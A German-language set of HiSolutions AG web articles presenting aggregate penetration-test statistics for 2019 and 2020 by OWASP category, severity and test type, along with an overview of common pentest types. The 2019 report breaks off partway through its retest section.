Abbildung 3: Entwicklung der Kritikalität[3] der Befunde nach Kategorie im Vergleich zum Vorjahr
 

Betrachtet man die Entwicklung der Häufigkeit der Kategorien zusammen mit der Kritikalität nach Kategorien, ergeben sich einige bemerkenswerte Veränderungen. So ist zwar die Häufigkeit der Funde im Bereich „Injektion“ nur leicht angewachsen, jedoch ist die Kritikalität der Funde in diesem Bereich, besonders von kritischen und hohen Funden, deutlich stärker gestiegen.

Im Gegenteil hierzu ist jedoch die Häufigkeit im Bereich „Fehlerhafter Authentifizierung oder Sitzungsverwaltung“ ähnlich zur Kategorie „Injektion“ gewachsen. Hier hat sich die Verteilung der Kritikalität allerdings in Richtung niedrig (low) verschoben.

Auch die Anzahl von Funden im Bereich des „Preisgebens von sensiblen Daten“ ist stark gestiegen – und ähnlich wie beim vorherigen Punkt ist auch hier die Verteilung der Kritikalität der Funde sogar noch eindeutiger in Richtung niedrig gewandert.

Während die Häufigkeit von Funden im Bereich des unzureichenden Loggings & Monitorings gesunken ist, ist hier die Kritikalität besonders stark angestiegen. Im Jahr 2020 wurden allerdings in diesem Bereich nur neun Funde entdeckt, im Gegensatz zum Vorjahr, wo es 22 Funde gab, weshalb die allgemeingültige Aussagekraft der Veränderung kritisch zu hinterfragen ist. Nichtsdestotrotz sollte dieser Bereich umso genauer im Blick behalten werden, da ein gutes Logging und Monitoring nicht nur bei der Fehlersuche, sondern auch bei der rechtzeitigen Erkennung und Behandlung von Angriffen essenziell ist.

Als letzter bemerkenswerter Punkt ist hervorzuheben, dass 40 % der Funde im Bereich von mangelnden Organisations- und Betriebsprozessen eine hohe Kritikalität vorzeigen und sogar bis zu 80 % als mittlere Kritikalität eingestuft werden.

Auswertung nach Testtyp

HiSolutions bietet eine Vielzahl unterschiedlicher Sicherheitsüberprüfungen an. Vergleichsweise häufig und insbesondere periodisch wiederkehrend werden externe Penetrationstests und Web-Penetrationstests ausgeführt, bei denen das Testteam die gleichen Möglichkeiten wie externe Angreifer besitzt. Zusätzlich wird auch eine Vielzahl an internen Penetrationstests durchgeführt, welche die Untersuchung der Auswirkungen eines erfolgreichen Angriffes in der Praxis ermöglichen. Bei diesen stehen dem Testteam wesentlich mehr Möglichkeiten zur Verfügung, da sie sich im internen Netz des Auftraggebers befinden. Auch diverse Pentests und gezielte Prüfungen von Hardware-Systemen, Anwendungen und ICS-Umgebungen sowie Überprüfungen von Quellcode, System- und Netzwerk-Architekturen und der Konfiguration von IT-Systemen wurden im Jahr 2020 von HiSolutions durchgeführt.

Abbildung 4 zeigt die Kritikalität abhängig vom Typ des durchgeführten Tests und im Vergleich die Ergebnisse des Vorjahres. In einem Penetrationstest können mehrere Überprüfungen unterschiedlicher Art vorkommen. Für die Auswertung werden die einzelnen Testbestandteile aller Penetrationstests betrachtet. Die in Abbildung 4 dargestellte Kritikalitätsverteilung ergibt sich, wie in vorherigen Auswertungen, aus der Zuordnung jedes Testbestandteils zu seiner maximalen ermittelten Kritikalität. Für eine bessere Vergleichbarkeit werden relative Häufigkeiten dargestellt.

Um im Vergleich einen Mindestwert an Aussagekraft zu erzielen, werden nur Testtypen berücksichtigt, für welche im Jahr 2020 mindestens 10 Projekte durchgeführt wurden.

Die Auswertung nach Testtyp zeigt, dass die generelle Verteilung der in den Projekten beobachteten Kritikalitäten größtenteils konstant geblieben ist.

Nach wie vor gilt nachweisbar: Je mehr Zugang das Testteam hat, desto kritischer sind die aufgedeckten Sicherheitslücken. Zwar wurden im Fall der internen Penetrationstests nur noch in ungefähr 35 % der Prüfungen Befunde identifiziert, die als kritisch eingestuft wurden, der Anteil der sonstigen internen Pentests, die dann mindestens einen als „hoch“ eingestuften Befund enthalten, ist von ca. 40 % auf ca. 60 % der Gesamtzahl angestiegen.

Da durch die Corona-Pandemie deutlich mehr Überprüfungen von über das Internet erreichbaren Testgegenständen stattgefunden haben, ist die Entwicklung hier besonders interessant. Sowohl bei externen als auch bei Web-Penetrationstests sind besonders die Funde von kritischen und hohen Schwachstellen zurückgegangen. Das könnte darauf hinweisen, dass die Absicherung nach außen sich bei einigen Systemen im Vergleich zum Vorjahr verbessert hat. Ob dies dadurch begründet werden kann, dass durch die Pandemie deutlich mehr Personal im Home-Office arbeitete und somit die Schnittstellen nach außen stärker abgesichert werden mussten, muss durch andere Untersuchungen beleuchtet werden.

Abbildung 4: Entwicklung der maximalen Kritikalität nach Testtyp im Vergleich zum Vorjahr

Auswertung der Nachtests

Anbieter von Penetrationstests empfehlen in der Regel eine Verifikation der im Anschluss umgesetzten Maßnahmen als wirkungsvolles Mittel zur Verbesserung der Sicherheitseigenschaften von IT-Systemen. Die tatsächliche Wirksamkeit der umgesetzten Maßnahmen wird im Folgenden an Beispielen aus der Praxis überprüft. Zu diesem Zweck werden Befunde betrachtet, bei denen ein Nachtest durch HiSolutions stattgefunden hat, also eine Überprüfung der nach dem Penetrationstest implementierten Maßnahmen.

Abbildung 5 zeigt die Anzahl der Befunde und deren Kritikalität nach Kategorien. Der obere Balken bezieht sich dabei auf die Befunde im initialen Penetrationstest, der untere auf die Befunde im Nachtest.[4]

Im Allgemeinen kann erneut hervorgehoben werden, dass besonders kritische und hohe Schwachstellen bis auf wenige Ausnahmen erfolgreich behoben wurden. Allerdings waren in den Bereichen sicherheitskritische Fehlkonfiguration und Nutzen von Komponenten mit bekannten Schwachstellen selbst im Nachtest noch immer Schwachstellen der Kritikalität „hoch“ zu finden.

Abbildung 5: Kritikalität im Vergleich vom Penetrationstest zum Nachtest 2020

Der Grund für die Unterschiede bei diesen beiden Kategorien war dabei häufig, dass es sich um schwerwiegende systematische Schwachstellen handelt, deren Behebung längere Zeit in Anspruch nimmt oder größere Umstrukturierungen notwendig macht. Bei Schwachstellen etwa, die auf veraltete Systeme und Komponenten zurückzuführen sind, ist ein funktionierendes Patch- und Life-Cycle-Management essenziell, um die Probleme dauerhaft zu beheben. Sind diese Management-Prozesse nicht ausreichend etabliert, werden Systeme im Nachgang an einen Penetrationstest oft einmalig aktualisiert, sind aber bis zum Zeitpunkt des Nachtests erneut veraltet. Vor dem Hintergrund, dass Ransomware-Trojaner und -Angreifer immer wieder Schwachstellen in veralteten Systemen ausnutzen, empfiehlt HiSolutions auch in internen Netzwerken dringend die Umsetzung eines zeitnahen Patch- und Life-Cycle-Managements.

Fazit

Auch dieses Jahr zeigten die identifizierten Befunde, wie wichtig und notwendig Penetrationstests und praktische technische Sicherheitsüberprüfungen sind.

Schwachstellen in internen Netzwerken stellen nach wie vor den Großteil der Schwachstellen mit hohem oder kritischen Risiko für Unternehmen dar. Unter der Annahme, dass es Angreifern gelingt, die externen Sicherheitsmaßnahmen zu umgehen und in ein internes Netzwerk vorzudringen, spiegelt dieses in der Praxis ein beträchtliches Risiko wider. Auch die Erfahrungen von HiSolutions im Bereich Incident Response und Forensik und andere unabhängige Untersuchungen zeigen klar, dass Angreifer in internen Netzwerken gezielt Schwachstellen ausnutzen, um darüber ihre Berechtigungen zu erweitern und Schadsoftware auf weiteren Systemen zu verbreiten. Diverse in internen Penetrationstests identifizierte Angriffspfade ließen sich direkt oder in abgewandelter Form auch in realen Angriffen beobachten. Nur durch einen systematischen Umgang mit dem Thema IT-Sicherheit, welcher teilweise größere Umbau- und Um-Organisationsmaßnahmen und eine langfristige sicherheitsorientierte Ausrichtung in dem Bereich nach sich zieht, kann dieses komplexe Thema zukünftig verbessert werden.

Die sonstigen Entwicklungen der Zahlen aus diesem Jahr stehen stark unter dem Eindruck der durch die Covid-19-Pandemie veränderten Projektzusammensetzung. Üblicherweise in Web-Anwendungen und externen Systemen vorzufindende Schwachstellen wie die „Preisgabe schützenswerter Daten“ sind durch die gestiegene Anzahl an Projekten in diesem Bereich ebenfalls merklich angestiegen. Die Anzahl an kritischen und hoch eingestuften Schwachstellen ist, bedingt durch die geringere Anzahl an internen Penetrationstests bei Kunden vor Ort, insgesamt gesunken. Ein Blick in die Einzelprojekte zeigt jedoch kein signifikant gestiegenes Sicherheitsniveau in den einzelnen Bereichen.

Aus den Ergebnissen lässt sich auch ablesen, dass im Bereich des Loggings und Monitorings weiterhin größere Probleme existieren. Ein zielgerichtetes Logging und Monitoring wurde nur in wenigen Kundenumgebungen beobachtet. Teilweise war zwar eine umfangreiche Protokollierung eingerichtet, die Daten wurden aber nicht geeignet ausgewertet und konnten daher nicht effizient und präventiv genutzt werden. Da besonders dieser Bereich, wenn richtig durchgeführt, eine enorme Hilfe bei der Überprüfung von Systemen und insbesondere auch der frühzeitigen Erkennung von Sicherheitsvorfällen sein kann, empfehlen wir eine stärkere Fokussierung aus das Thema in der Zukunft.

Auch für das vergangene Jahr zeigen die Ergebnisse deutlich, dass anhand von Penetrationstests viele Sicherheitsprobleme in IT-Infrastrukturen erkannt werden können, die ohne externe Kontrolle (bis zu einem Angriff) verdeckt geblieben wären. Einmal identifiziert, führten die betroffenen Unternehmen in den meisten Fällen ausreichende Maßnahmen bis zum Nachtest durch, sodass die Probleme dauerhaft behoben wurden. Bei der Interpretation dieser Ergebnisse muss allerdings beachtet werden, dass die Durchführung eines Nachtests für sich bereits ein gesteigertes Sicherheitsbewusstsein oder etabliertere IT-Sicherheits-Strukturen bei Unternehmen aufzeigt. So werden Nachtests in der Regel nicht geplant und beauftragt, wenn keine Änderungen an den Systemen vorgenommen wurden. Auch wenn die Ergebnisse der Nachtests grundlegende Verbesserungen an den Systemen darlegen, zeigen sie auch deutlich, dass nicht immer alle angemahnten Schwachstellen tatsächlich effektiv behoben wurden. Die Durchführung von Nachtests ist damit weiterhin als effektives Mittel zur Bestätigung von getroffenen Maßnahmen sowie zur Identifikation möglicher Restrisiken anzusehen.

Übrigens: Unser Angebot im Bereich Pentest/Penetrationstest finden sie hier.

[1] https://www.owasp.org/index.php/Category:OWASP_Top_Ten_Project

[2] Die Kategorien „XML External Entities (OWASP A4)“ und „Insecure Deserialization (OWASP A8)“ sind aufgrund der geringen absoluten Zahlen aktuell nicht aufgeführt.

[3] Ohne Befunde, aus welchen sich keine direkten sicherheitsrelevanten Auswirkungen ergaben.

[4] Da lediglich Befunde betrachtet werden, für welche ein Nachtest stattgefunden hat, können nur etwa 20 % der Befunde verwendet werden. Es kann daher zu Abweichungen zu Abbildung 3 kommen, da für diese mehr Datenpunkte zur Verfügung stehen. Die Kategorie „Insufficient Logging & Monitoring (OWASP A10)“ wird mangels Daten nicht berücksichtigt.

Von Penetrationstests bis Konfig-Review

Eine Beschreibung gängiger Testtypen

Als technisches Audit wird gemeinhin die Untersuchung eines IT-Systems auf Schwachstellen und Sicherheitslücken mithilfe technischer Mittel beschrieben. Doch Penetrationstest ist nicht gleich Penetrationstest. Es gibt viele verschiedene Arten bzw. Typen von Tests, die jeweils unterschiedliche Arten von Fehlern aufdecken können. Die Testtypen unterscheiden sich insbesondere durch die Zugriffsmöglichkeiten, welche dem Testteam eingeräumt werden. So können durch Penetrationstests unterschiedliche Angriffsszenarien überprüft werden, von externen Angreifern bis hin zu Angreifern im internen Netzwerk der zu testenden Infrastruktur. Diese Übersicht soll die unterschiedlichen Typen von Penetrationstests voneinander abgrenzen sowie ihre Möglichkeiten und Einsatzbereiche beschreiben. Ziel ist dabei nicht, eine vollständige Übersicht aller existierenden Testtypen zu schaffen, sondern die gängigsten Typen vorzustellen und zu einzuordnen.

Testtypen

Externer Penetrationstest

Bei einem externen Penetrationstest versetzt sich das Testteam in die Position eines externen Angreifers. Das Team kann nur öffentlich zugängliche Bereiche eines Netzwerkes erkunden und muss in vielen Fällen interne Strukturen erraten, um Sicherheitslücken auszunutzen. Um die Testdauer zu reduzieren, werden Intrusion-Prevention-Systeme für externe Penetrationstests häufig deaktiviert.
Externe Penetrationstests eignen sich gut, um gängige Schwachstellen aufzudecken, welche über das Internet erreichbar sind und somit von einer Vielzahl potentieller Angreifer ausgenutzt werden könnten.

Interner Penetrationstest

Bei einem internen Penetrationstest wird das Testteam in die Lage eines Angreifers versetzt, der Zugang zum internen Netz der zu testenden Umgebung besitzt. Das Team verfügt daher über viele Zugangsmöglichkeiten und teilweise auch Informationen zu internen Strukturen. Durch diesen Testtyp können Probleme aufgedeckt werden, welche versehentlich durch Fehler in internen Abläufen auftreten können oder gezielt von einem Angreifer hervorgerufen werden, welcher sich bereits Zugang zu dem Netz verschafft hat.
Interne Penetrationstests eignen sich gut, um Schwachstellen in der internen Infrastruktur aufzudecken. Zwar ist die Anzahl der potentiellen Angreifer geringerer, da diese sich zunächst Zugang zur internen Infrastruktur verschaffen müssen. Die möglichen Folgen der Schwachstellen sind jedoch in vielen Fällen besonders schwerwiegend.

Web-Penetrationstest

In Web-Penetrationstests werden Webseiten und Webanwendungen aus externer Sicht getestet. Dem Testteam stehen die Möglichkeiten eines externen Angreifers zur Verfügung. Häufig sind keine internen Strukturen bekannt. Um die Testdauer zu reduzieren, werden Intrusion-Prevention-Systeme für Web-Penetrationstests wie etwa eine Web Application Firewall (WAF) teilweise deaktiviert. Web-Penetrationstests eignen sich, um gängige Schwachstellen in Webanwendungen aufzudecken, welche über das Internet von einer Vielzahl potentieller Angreifer ausgenutzt werden könnten.

Applikations- oder API-Test

In Applikations- oder API-Test werden Anwendungen und Programmierschnittstellen untersucht. Durch die Offline-Untersuchung können die Tester umfangreiche Informationen sammeln. Dieser Testtyp eignet sich besonders gut, um Schwachstellen in Architektur, Design und Implementation von Anwendungen oder Schwachstellen zu finden.

Konfigurations- oder Architekturaudit

Bei diesem Testtyp wird die Konfiguration und/oder die Architektur einer Anwendung für die individuellen Anwendungszwecke überprüft. Die Tester nehmen eine interne Rolle ein, da sie Zugang zu Konfigurationsdateien und Architekturinformationen haben. Sie können somit eine detailliertere Prüfung als über einen externen „Black-Box“-Test vornehmen und konkretere Empfehlungen aussprechen. Dieser Testtyp eignet sich gut, um Probleme in Architektur und Betrieb der internen Software-Landschaft zu finden.

Dokumentations- oder Organisationsaudit

Bei dieser Art von Test tritt das Testteam in einer internen Rolle auf. Durch die Überprüfung von Organisationsprozessen und Dokumentationen kann es bestehende Probleme identifizieren und konkrete und individuelle Verbesserungsvorschläge abgeben.

Dieser Testtyp ist gut geeignet, falls Abläufe überprüft werden sollen, die über die eigentliche Softwareentwicklung und -wartung hinausgehen.

Fazit

Welche Art von Penetrationstest sich empfiehlt, hängt stark von der Umgebung ab, welche untersucht werden soll. Darüber hinaus ist das übergeordnete Ziel des Audits zu beachten, das mit den Sicherheitszielen der Organisation im Einklang stehen sollte. Insbesondere kommt es dabei auf die Exposition des Systems und somit die zu erwartenden Angriffsvektoren an. In der von der HiSolutions AG veröffentlichten Pentest-Statistik 2020 werden die Schweregrade der Schwachstellen betrachtet, welche von unterschiedlichen Testtypen aufgedeckt werden. Allgemein lässt sich dabei aussagen, dass schwerere Befunde entdeckt werden, je mehr Zugriffsrechte dem Testteam gewährt werden. Während für die meisten Systeme lediglich externe Tests durchgeführt werden, betont der Bericht somit die Relevanz interner Systemprüfungen.

Übrigens: Hier finden Sie das Angebot der HiSolutions zu Penetrationstests.

HiSolutions Schwachstellen-Report 2020

Dominik Oepen, Team Manager Penetrationstests & Tom Breitkopf, Consultant, HiSolutions AG

[Whitepaper als PDF]

HiSolutions führt jedes Jahr eine große Anzahl von unterschiedlichen Penetrations- und Schwachstellentests durch. Immer wieder taucht dabei die Frage auf, wie die Ergebnisse des einzelnen Tests im Vergleich mit „typischen“ Pentest-Ergebnissen einzustufen sind und ob die identifizierten Probleme bei anderen Unternehmen in ähnlicher Form und Schwere bestehen.

Wir haben diese Fragen zum Anlass genommen, die von uns in den letzten Jahren durchgeführten Tests jahresweise auszuwerten und die jeweils identifizierten Schwachstellen nach Schweregrad und Kategorien zu analysieren. Diese Aggregation erlaubt uns, einerseits die Vertraulichkeit der Projektergebnisse gegenüber unseren Kunden zu wahren, andererseits aber Aussagen über typische Testergebnisse und Problembereiche abzuleiten, die entweder besonders häufig auftauchen oder besonders schwerwiegende Lücken darstellen. Durch die Fortschreibung der Auswertung über die Jahre hinweg werden dabei auch interessante Trends und wichtige Entwicklungen in der Sicherheitslage deutlich.

Vorgehen

Dieser Report beruht auf einer Auswertung der Ergebnisse aus insgesamt 90 Penetrations- und Schwachstellentests, die im Jahr 2019 durchgeführt wurden. Zusätzlich haben wir die Befunde mit den Ergebnissen unserer Schwachstellenreports der Jahre 2013 bis 2018 verglichen.

Die Tests betreffen verschiedene Zielumgebungen, von Netzwerkinfrastrukturen über Web-Anwendungen bis hin zu einzelnen Systemen und Verfahren, sind also nicht direkt miteinander vergleichbar. Durch die Kategorienbildung bei den Schwachstellen lassen sich dennoch interessante Beobachtungen ableiten.

Für die Kategorien haben wir uns zunächst an den „OWASP Top 10“ orientiert. Diese Veröffentlichung des OWASP-Projektes aus dem Jahr 2017[1] umfasst eine Systematik der schwerwiegendsten Schwachstellen für Web-Anwendungen, die dort auf der Grundlage einer Berechnung der Schweregrade auf der Basis von Häufigkeiten und Auswirkungen erstellt wurde. Die Kategorien lassen sich dabei zum Teil auch auf andere Testziele gut übertragen, decken jedoch nicht alle unsere Befunde vollständig ab, sodass wir einige eigene Kategorien ergänzt haben. Diese umspannen den gesamten Zyklus der Softwareentwicklung und des Betriebs von Architektur und Design über Implementierung bis hin zur Systempflege. Dadurch lassen sich auch entsprechende Sicherheitslücken jenseits von Web-Anwendungen feingranular einordnen.

In diesem Jahr wurden die Kategorien gegenüber den Vorjahren aktualisiert, um vollständig mit der aktuellsten „OWASP Top 10“-Liste übereinzustimmen. Die Kategorien „Insecure Direct Object Reference (OWASP A4)“ und „Missing Function Level Access Control (OWASP A7)“ wurden zu der Kategorie „Broken Access Control (OWASP A5)“ zusammengefasst. Die Kategorie „Client-Side (OWASP A3/ A8) Injection“ wurde in „Cross-Site Scripting (OWASP A5)“ umbenannt. Diese Kategorie fasste in Vorjahresberichten die Kategorien „Cross-Site Scripting“ und „Cross-Site Request Forgery“ zusammen. Da letztere jedoch aus der OWASP Top 10 Liste verschwunden ist, wird sie nicht mehr separat aufgelistet. Neu hinzugekommen ist des Weiteren die Kategorie „Insufficient Logging and Monitoring (OWASP A10)“. Nicht geführt werden die Kategorien „XML External Entities (OWASP A4)“ und „Insecure Deserialization (OWASP A8)“, da diese selten zur Einteilung verwendet wurden.

Die Aggregation der Daten bringt einige praktische Schwierigkeiten mit sich: Wegen der Unterschiedlichkeit der durchgeführten Tests ließen sich keine relevanten Aussagen zur Häufigkeit von Schwachstellen in einem bestimmten System oder einer Anwendung ermitteln. Auch fassen wir in den Projektberichten gleichartige Schwachstellen auf verschiedenen Systemen häufig zu einem Befund zusammen, so dass eine Zählung der Befunde hier ebenfalls nur begrenzte Aussagekraft hat. Wir haben uns daher entschlossen, als Maß die relative Häufigkeit von Projekten, in welchen ein Befund der entsprechenden Kategorie auftauchte, zu verwenden. Dadurch wird deutlich, welchen Schwachstellen wir in unterschiedlichen Projekten besonders häufig begegnen, und welche eher selten oder nur in besonderen Zielumgebungen auftauchen.

Für die Bewertung der Relevanz einer Schwachstelle verwenden wir in unseren Prüfberichten ein standardisiertes Schema, in dem wir aus der Bewertung der Komplexität des Angriffs und des zu erwartenden Schadens zu einer Einordnung in die folgenden Kategorien kommen:

  • CRITICAL (C): Die getesteten Systeme sind akut gefährdet, umgehendes Handeln ist (in der Regel noch während der Testdurchführung) erforderlich.
  • HIGH (H): Die Schwachstelle hat eine hohe praktische Relevanz und sollte priorisiert behoben werden.
    MEDIUM (M): Die Schwachstelle besitzt ein relevantes Schadenspotenzial, dieses kann aber nur in bestimmten Umständen oder in Verbindung mit anderen Problemen realisiert werden.
  • LOW (L): Die Schwachstelle stellt für sich keine unmittelbare Gefahr dar, kann jedoch Angriffe über andere Schwachstellen erleichtern oder verstärken.

Rein informative Befunde (z. B. festgestellte funktionale Fehler ohne Sicherheitsbezug) wurden in der Auswertung nicht berücksichtigt.

Ergebnisse

Die Erkenntnisse der Auswertung aller Penetrationstests des letzten Jahres sollen im Folgenden vorgestellt werden. Dazu werden die durch Tests aufgedeckten Sicherheitslücken im Kontext der Entwicklungen über die letzten Jahre betrachtet. Verwendet wird dafür die Kategorie und der Schweregrad jeder Schwachstelle.
Erstmals wird in diesem Jahr auch die Art des durchgeführten Tests berücksichtigt und die Effizienz der im Anschluss an Penetrationstests durchgeführten Maßnahmen bewertet.

Abbildung 1 zeigt die Entwicklung des Schweregrads von Sicherheitslücken von 2013 bis 2019. Dieser Schweregrad wird im Folgenden auch als Kritikalität bezeichnet. Für die Generierung der Werte wurde jedem durchgeführten Penetrationstest die maximale Kritikalität aller von ihm aufgedeckten Sicherheitslücken zugeordnet. Ein Penetrationstest, welcher eine kritische Sicherheitslücke aufgedeckt hat, wird daher als kritisch eingestuft. Dies ist dadurch zu begründen, dass eine einzige Lücke des entsprechenden Schweregrades ausreicht, die Sicherheit des gesamten Systems zu beeinträchtigen.
Seit 2013 sind Schwankungen ohne eindeutige Tendenz in der Entwicklung der Kritikalität von Penetrationstests zu verzeichnen. Nach einem Rückgang der als kritisch oder hoch eingestuften Penetrationstests von 2015 bis 2018 war im letzten Jahr erstmals wieder ein deutlicher Zuwachs zu erkennen. Nur im Jahr 2015 lieferte ein größerer Anteil der Tests schwerwiegende Befunde. Dies liegt im Rahmen der kurzeitigen Schwankungen und muss nicht auf einen Negativtrend verweisen. Dennoch weist es darauf hin, dass trotz der erhöhten öffentlichen Aufmerksamkeit für das Thema IT-Sicherheit aus den betrachteten Untersuchungen keine grundlegende Verbesserung in diesem Bereich über die letzten Jahre abgeleitet werden kann.

Abbildung 1: Entwicklung der Kritikalität von 2013 bis 2019

Um die Sicherheit von bestehenden Systemen zu verbessern und Sicherheitsaspekte im Entwurf neuer Systeme zu berücksichtigen, ist es wichtig zu verstehen, welche Art von Sicherheitslücken besonders häufig auftritt und welche Auswirkungen dies haben kann.
In Abbildung 2  wird daher zunächst die Entwicklung des Auftretens bestimmter Fehlerklassen in den letzten Jahren gezeigt. Dargestellt wird der Anteil der Penetrationstests, welche mindestens einen Befund der Kategorie erzeugt haben. Abbildung 3 zeigt die schwere der Befunde dieses Jahres aufgeschlüsselt nach Kategorie.  Angegeben wird dabei der Anteil der unterschiedlichen Kritikalitätswerte an den Gesamtbefunden der jeweiligen Kategorie.

Auch für das Jahr 2019 konnten viele verschiedene Probleme bei der Entwicklung, Konfiguration und dem Betrieb von Software beobachtet werden.
Die Häufigkeit, mit der sensible Daten preisgegeben wurden, nahm im Vergleich zu den Vorjahren deutlich ab. Dennoch traten diese Fehler weiterhin in über der Hälfte aller Tests auf. Deutlich zugenommen hat im Jahr 2019 erneut die Anzahl der Penetrationstests, welche fehlerhafte Konfigurationen mit Folgen für die Sicherheit eines Systems aufdecken konnten. In neun von zehn Tests wurde eine derartige Fehlkonfiguration gefunden. Zwar entstanden aus beiden Kategorien meist lediglich geringe Sicherheitsrisiken, doch sind bei groben Fehlern auch schwerwiegende Auswirkungen möglich.
Sowohl OWASP A3 als auch OWASP A6 sind typische Fehlerklassen, welche aus Fehlern im Betrieb von Software und nicht in deren Entwicklung entstehen. Die erhoffte Verbesserung im Umgang mit IT-Systemen kann also bedauerlicherweise nicht oder nur in Teilen beobachtet werden.

Abbildung 2: Häufigkeit der Kategorien von 2016 bis 2019

Besonders bedenklich ist die deutliche Zunahme der Häufigkeit, mit der Komponenten mit bekannten Schwachstellen eingesetzt wurden von 41% auf 66%. Da Informationen zu diesen Schwachstellen und in vielen Fällen darüber hinaus Exploits, welche sie ausnutzen, öffentlich verfügbar sind, haben Fehler dieser Art besonders häufig kritische oder schwere[2] Auswirkungen auf die Sicherheit eines IT-Systems. Diese Schwachstellen entstehen in der Regel durch ein mangelhaftes Patch-Management, welches sicherstellen sollte, dass verwundbare Software aktualisiert wird. Die Etablierung eines funktionierenden Patch-Managements bzw. einer kontinuierlichen Systempflege stellt also weiterhin eine Herausforderung für viele Unternehmen dar. Dies verdeutlicht auch die Kategorie „mangelnde Systempflege“, welche allgemeine Fehler dieser Art beinhaltet, und in mehr als der Hälfte aller Tests gefunden wurde, wobei häufig kritische oder schwere Sicherheitslücken dadurch entstanden.

Auch Schwachstellen, welche durch Fehler im Entwurf und in der Entwicklung von Softwaresystemen entstehen, wurden durch Penetrationstests im Jahr 2019 aufgedeckt. Besonders eine ungeeignete Systemarchitektur führt dabei zu schwerwiegenden Fehlern. Dennoch konnte eine solche in 41% aller Penetrationstests festgestellt werden. Ähnlich häufig treten Implementierungsfehler auf. Design-Fehler konnten in etwa einem Viertel aller Penetrationstests festgestellt werden. Wie schwerwiegend die Folgen fehlerhafter Softwareentwicklung sein können verdeutlich die Kategorie fehlerhafte Zugriffskontrolle, welche über die letzten Jahre in etwa 40% der Penetrationstests zu finden war und wenn vorhanden in mehr als 40% der Fälle als kritisch oder hoch eingestuft wurde.

Laut unserer Erfahrungen aus Sicherheitsaudits werden Sicherheitsfragen in IT-Projekten häufig erst im Zuge der Betriebseinführung betrachtet, also nachdem vormals genannte Probleme bereits entstanden sind. Dies ist besonders problematisch, da die Auswirkungen von Fehlern schwerer sind, je früher der Entwicklungsschritt ist, in dem sie auftauchten. So wiegen im Mittel Fehler in Architektur und Design deutlich schwerer als solche in der Implementierung.

Abbildung 3: Kritikalität der Befunde nach Kategorie

Unzureichendes Monitoring und Logging wird im diesjährigen Bericht erstmals betrachtet. Es tritt in lediglich 10% der Tests auf und birgt stets lediglich geringes bis mittleres Risiko. Es kann jedoch das Aufspüren von Angriffen und deren Aufklärung deutlich verzögern und erschweren und sollte daher nicht vernachlässigt werden.

Die meisten kritischen Sicherheitslücken nach absoluten Zahlen waren eine Folge von mangelnder Systempflege. Auf den nächsten Plätzen folgt die Verwendung von Komponenten mit bekannten Sicherheitslücken und die Preisgabe sensibler Informationen. Auch Fehlkonfigurationen, Fehler bei der Authentifizierung und eine ungeeignete Systemarchitektur führten häufig zu kritischen Sicherheitsproblemen.
Betrachtet man ebenfalls Sicherheitsprobleme mit einer hohen Kritikalität, so liegen eine fehlerhafte Zugriffskontrolle und eine ungeeignete Systemarchitektur noch vor der Nutzung unsicherer Komponenten und mangelnder Systempflege.

Auch in Betrachtung der Einzelkategorien ist über die letzten Jahre keine Verbesserung der Sicherheitseigenschaften von IT-Systemen zu beobachten. Es bestehen weiterhin eine Vielzahl unterschiedlicher Fehlerquellen, welche die Sicherheit von Systemen beeinträchtigen können. In der Aufteilung der Fehlerkategorien setzen sich die Trends der Vorjahre fort. Es ist deutlich zu beobachten, dass es bei Konfiguration, Betrieb und Wartung von IT-Systemen zu den meisten sicherheitskritischen Fehlern kommt. Probleme in diesem Bereich werden wie in den Vorjahren in fast jedem Penetrationstest festgestellt. Auch Probleme in der Entwicklung bleiben eine Gefahrenquelle mit großen Schadenspotential. Sie konnten zwar in weniger Penetrationstests aufgedeckt werden, bergen jedoch, falls vorhanden, teilweise gravierende Risiken.

Auswertung nach Testtyp

Die HiSolutions AG bietet eine Vielzahl unterschiedlicher Sicherheitsüberprüfungen an. Besonders häufig werden externe Penetrationstests und Web-Penetrationstests ausgeführt, bei denen das Testteam die gleichen Möglichkeiten wie externe Angreifer besitzen. Es werden jedoch auch interne Penetrationstests vorgenommen. Bei diesen stehen dem Testteam wesentlich mehr Möglichkeiten zur Verfügung, da sie sich im internen Netz des Auftraggebers befinden. Auch die Überprüfung von Quellcode, Architektur und Konfiguration von IT-Systemen wird von der HiSolutions angeboten. Ebenso können fertige Applikationen oder Betriebsstrukturen und Dokumentationen erprobt werden.

Abbildung 4 zeigt die Kritikalität abhängig von dem Typ des durchgeführten Tests. In einem Penetrationstest können mehrere Überprüfungen unterschiedlicher Art vorhanden sein. Für die Auswertung werden die einzelnen Testbestandteile aller Penetrationstests betrachtet. Die in Abbildung 4 dargestellte Kritikalitätsverteilung ergibt sich, indem, wie in vorherigen Auswertungen, jedem Testbestandteil die maximale Kritikalität zugeordnet wird, welche er enthält. Für eine bessere Vergleichbarkeit werden relative Häufigkeiten dargestellt.

Verallgemeinert lässt sich die Auswertung der Befunde reduzieren auf die Aussage: Je mehr Zugang das Testteam hat, desto kritischer die aufgedeckten Sicherheitslücken. In internen Penetrationstests konnten in etwas weniger als 40% der Fälle kritische und in knapp 80% der Fälle mindestens schwere Sicherheitslücken entdeckt werden. Auch in Dokumentations- oder Organisationsaudits und Applikations- oder API-Tests wurden häufig kritische Schwachstellen aufgedeckt.  Auch wenn Konfigurationsaudits oder Architekturreviews in verhältnismäßig wenigen Fällen kritische Sicherheitslücken aufgedeckt haben, so konnten sie doch eine erhebliche Anzahl schwerer Mängel finden. Externe und Web-Pentests, bei welchen das Testteam deutlich weniger Zugriffsrechte hat als in den vorangegangenen Testtypen, konnten in deutlich weniger fällen kritische oder schwere Sicherheitslücken aufdecken. Dennoch wurden auch bei diesen Tests in etwa 30% bis 40% der Fälle kritische oder schwere Sicherheitslücken gefunden, sodass ihre Effektivität nicht zu unterschätzen ist. Lediglich in einer sehr kleinen Anzahl von Tests wurden keine Befunde festgestellt.[3]

Abbildung 4: Kritikalität nach Testtyp

Auswertung der Nachtests

Anbieter von Penetrationstests empfehlen in der Regel eine Verifikation der im Anschluss umgesetzten Maßnahmen als wirkungsvolles Mittel zur Verbesserung der Sicherheitseigenschaften von IT-Systemen. Die tatsächliche Wirksamkeit wird im Folgenden überprüft. Zu diesem Zweck werden Befunde betrachtet, bei denen ein Nachtest stattgefunden hat, also eine Überprüfung der nach dem Penetrationstest implementierten Maßnahmen. Abbildung 5 zeigt die Anzahl der Befunde und deren Kritikalität nach Kategorien. Der obere Balken bezieht sich dabei auf die Befunde im Penetrationstest, der untere auf die Befunde im Nachtest.[4]

